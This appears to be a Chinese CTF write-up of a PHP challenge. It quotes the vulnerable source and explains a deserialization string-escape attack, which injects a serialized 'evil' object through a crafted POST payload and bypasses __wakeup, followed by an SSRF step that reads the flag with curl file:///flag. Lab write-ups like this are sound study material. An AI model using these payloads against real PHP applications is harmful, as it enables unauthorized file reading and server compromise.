这一题考查了两个知识点:
1. 字符串逃逸反序列化
2.SSRF
题目源代码如下:
<?php
// php版本:5.4.44
header("Content-type: text/html; charset=utf-8");
highlight_file(__FILE__);
class evil{
public $hint;
public function __construct($hint){
$this->hint = $hint;
}
public function __destruct(){
if($this->hint==="hint.php")
@$this->hint = base64_encode(file_get_contents($this->hint));
var_dump($this->hint);
}
function __wakeup() {
if ($this->hint != "╭(●`∀´●)╯") {
//There's a hint in ./hint.php
$this->hint = "╰(●’◡’●)╮";
}
}
}
class User
{
public $username;
public $password;
public function __construct($username, $password){
$this->username = $username;
$this->password = $password;
}
}
function write($data){
global $tmp;
$data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
$tmp = $data;
}
function read(){
global $tmp;
$data = $tmp;
$r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
return $r;
}
$tmp = "test";
$username = $_POST['username'];
$password = $_POST['password'];
$a = serialize(new User($username, $password));
if(preg_match('/flag/is',$a))
die("NoNoNo!");
unserialize(read(write($a)));
分析一下,我们的目标应该是调用evil类中的_destruct()方法,因为里面有file_get_contents()函数可以帮我们得到hint.php文件的内容;但我们没有办法传入一个evil类的对象,再看User类,里面的read()函数将“/0/0/0”六个字符替换成“chr(0).'*'chr(0)”(即“%00*%00”,%00是一个字符)三个字符,这里就想到利用字符串逃逸来让我们能够传入一个evil类的(序列化后)对象
<?php
class evil{
public $hint = "flag.php";
}
$a = new evil();
echo serialize($a);
?>
构造如上exp得到evil类对象序列化后的值,这里需要8个“/0/0/0”来构造payload,最终payload如下:
username=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&password=a";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}
用POST方法将payload传入后得到一串base64值,解码后给了提示,根据提示我们访问一下
index.cgi
可以看到curl命令,这里就有一个ssrf点,并且从url可以看出要传入一个name变量
这里猜测flag就在当前目录下,使用file协议读取,就可得到flag
注意file前面要加一个空格,“curl file:///flag” curl命令后肯定要跟一个空格啦